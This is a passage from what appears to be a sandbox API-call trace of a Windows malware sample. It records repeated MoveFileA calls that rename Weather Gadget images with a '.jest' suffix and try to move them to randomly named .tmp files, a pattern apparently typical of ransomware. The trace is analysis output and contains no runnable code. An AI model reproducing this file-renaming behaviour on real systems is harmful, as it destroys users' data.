lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp") returned 0x8e [0127.806] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2BPMs2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d504232, cFileName="s2mbVOZru2w-Wm535xytUj0V_gm3qVViqYcE04Mbp8Lu lRiQUdoe2HIvougRixfS9wbw56-wPC5vbB4DFdFn5M7NKeEgnQm.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.806] GetLastError () returned 0x2 [0127.806] GetLastError () returned 0x2 [0127.806] SetLastError (dwErrCode=0x2) [0127.806] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.806] CoFreeUnusedLibraries () [0127.806] GetTickCount () returned 0x1152627 [0127.807] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.807] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.807] GetTickCount () returned 0x1152627 [0127.807] IsWindowVisible (hWnd=0x30268) returned 0 [0127.807] Sleep (dwMilliseconds=0x0) [0127.807] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png.jest")) returned 0 [0127.809] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png", lpFilePart=0x18e6d8*="13.png") returned 0x4b [0127.809] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 0x143ce48 [0127.810] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.811] VarBstrFromR4 (in: fltIn=0x479445d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.65") returned 0x0 [0127.811] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.811] CoFreeUnusedLibraries () [0127.811] GetTickCount () returned 0x1152627 [0127.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.811] GetTickCount () returned 0x1152627 [0127.811] IsWindowVisible (hWnd=0x30268) returned 0 [0127.811] Sleep (dwMilliseconds=0x0) [0127.857] GetFullPathNameA (in: lpFileName="xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", lpFilePart=0x18e708*="xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp") returned 0x8e [0127.857] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png", lpFilePart=0x18e708*="13.png") returned 0x4b [0127.857] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\13.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\13.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcmvlpge do9m4h 4gy-a7xmouybypgho2psepsmonw1fdwjsximufztahlf1l5bww_lmstkbovvyjj1gjr7prjtswwrpw-vnpul.tmp")) returned 0 [0127.859] GetLastError () returned 0x5 [0127.859] GetLastError () returned 0x5 [0127.859] SetLastError (dwErrCode=0x5) [0127.859] GetLastError () returned 0x5 [0127.859] SetLastError (dwErrCode=0x5) [0127.859] GetLastError () returned 0x5 [0127.859] SetLastError (dwErrCode=0x5) [0127.859] GetFullPathNameA (in: lpFileName="xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", lpFilePart=0x18e6e4*="xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp") returned 0x8e [0127.859] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcmvLPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x766d6378, cFileName="LPge DO9M4h 4gy-A7XMouybypGHo2psEpsMoNw1fdwjSximufZtAHLF1l5bwW_LMsTKBOvvyjj1gJR7pRjTSWwRPW-vnpul.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.860] GetLastError () returned 0x2 [0127.860] GetLastError () returned 0x2 [0127.860] SetLastError (dwErrCode=0x2) [0127.860] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.860] CoFreeUnusedLibraries () [0127.861] GetTickCount () returned 0x1152656 [0127.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.861] GetTickCount () returned 0x1152656 [0127.861] IsWindowVisible (hWnd=0x30268) returned 0 [0127.861] Sleep (dwMilliseconds=0x0) [0127.861] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png.jest")) returned 0 [0127.863] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png", lpFilePart=0x18e6d8*="18.png") returned 0x4b [0127.863] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x57, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 0x143ce48 [0127.864] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.865] VarBstrFromR4 (in: fltIn=0x479445d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.7") returned 0x0 [0127.865] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.865] CoFreeUnusedLibraries () [0127.865] GetTickCount () returned 0x1152656 [0127.865] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.866] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.866] GetTickCount () returned 0x1152656 [0127.866] IsWindowVisible (hWnd=0x30268) returned 0 [0127.866] Sleep (dwMilliseconds=0x0) [0127.866] GetFullPathNameA (in: lpFileName="wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", lpFilePart=0x18e708*="wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp") returned 0x8e [0127.867] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png", lpFilePart=0x18e708*="18.png") returned 0x4b [0127.867] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wzubkffboklwrjqtpg7izl-jogz4n msrjcv9wjrzqxdgsqf9zwmkm1s9uojfimj7e xrzdxlskqdxfqbyfvg8nvson1q y_uak .tmp")) returned 0 [0127.869] GetLastError () returned 0x5 [0127.869] GetLastError () returned 0x5 [0127.869] SetLastError (dwErrCode=0x5) [0127.869] GetLastError () returned 0x5 [0127.869] SetLastError (dwErrCode=0x5) [0127.869] GetLastError () returned 0x5 [0127.869] SetLastError (dwErrCode=0x5) [0127.869] GetFullPathNameA (in: lpFileName="wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", lpFilePart=0x18e6e4*="wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp") returned 0x8e [0127.869] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wzubkFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62757a77, cFileName="kFFBOKlwRJqtpG7izl-jOgZ4N msrJcv9wJrZQXdGsqF9zwMKm1s9uoJFIMj7e xRzdXLskQDxfqBYfvg8nvsOn1q Y_uak .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.870] GetLastError () returned 0x2 [0127.870] GetLastError () returned 0x2 [0127.870] SetLastError (dwErrCode=0x2) [0127.870] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.870] CoFreeUnusedLibraries () [0127.870] GetTickCount () returned 0x1152665 [0127.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.870] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.870] GetTickCount () returned 0x1152665 [0127.870] IsWindowVisible (hWnd=0x30268) returned 0 [0127.870] Sleep (dwMilliseconds=0x0) [0127.872] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png.jest")) returned 0 [0127.874] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png", lpFilePart=0x18e6d8*="17.png") returned 0x4b [0127.874] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x57, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 0x143ce48 [0127.875] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.876] VarBstrFromR4 (in: fltIn=0x479445db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.71") returned 0x0 [0127.876] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.876] CoFreeUnusedLibraries () [0127.876] GetTickCount () returned 0x1152665 [0127.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.877] GetTickCount () returned 0x1152665 [0127.877] IsWindowVisible (hWnd=0x30268) returned 0 [0127.877] Sleep (dwMilliseconds=0x0) [0127.877] GetFullPathNameA (in: lpFileName="CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", lpFilePart=0x18e708*="CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp") returned 0x8d [0127.878] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png", lpFilePart=0x18e708*="17.png") returned 0x4b [0127.878] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cer4opmyqpivqkxllquoby6pvcyth3k3ugbojuzv qd3_hyoxabd7gdgbrrucm5j1o35ooghudwr8lx2hublbdoibkujwmbxabw.tmp")) returned 0 [0127.879] GetLastError () returned 0x5 [0127.879] GetLastError () returned 0x5 [0127.880] SetLastError (dwErrCode=0x5) [0127.880] GetLastError () returned 0x5 [0127.880] SetLastError (dwErrCode=0x5) [0127.880] GetLastError () returned 0x5 [0127.880] SetLastError (dwErrCode=0x5) [0127.880] GetFullPathNameA (in: lpFileName="CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", lpFilePart=0x18e6e4*="CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp") returned 0x8d [0127.880] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CeR4oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34526543, cFileName="oPmyQPIVqKXlLQUoBy6Pvcyth3K3ugbOJuZV Qd3_hyOXABD7gDgbRRUcM5J1O35ooGhudWR8lX2HuBLBdOIbKuJWmBxABW.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.880] GetLastError () returned 0x2 [0127.880] GetLastError () returned 0x2 [0127.880] SetLastError (dwErrCode=0x2) [0127.881] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.881] CoFreeUnusedLibraries () [0127.881] GetTickCount () returned 0x1152665 [0127.881] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.881] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.881] GetTickCount () returned 0x1152665 [0127.881] IsWindowVisible (hWnd=0x30268) returned 0 [0127.881] Sleep (dwMilliseconds=0x0) [0127.882] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png.jest")) returned 0 [0127.884] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png", lpFilePart=0x18e6d8*="22.png") returned 0x4b [0127.884] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x57, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 0x143ce48 [0127.885] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.886] VarBstrFromR4 (in: fltIn=0x479445dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.73") returned 0x0 [0127.887] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.887] CoFreeUnusedLibraries () [0127.887] GetTickCount () returned 0x1152675 [0127.887] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.887] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.887] GetTickCount () returned 0x1152675 [0127.887] IsWindowVisible (hWnd=0x30268) returned 0 [0127.887] Sleep (dwMilliseconds=0x0) [0127.888] GetFullPathNameA (in: lpFileName="GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", lpFilePart=0x18e708*="GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp") returned 0x8d [0127.888] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png", lpFilePart=0x18e708*="22.png") returned 0x4b [0127.888] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 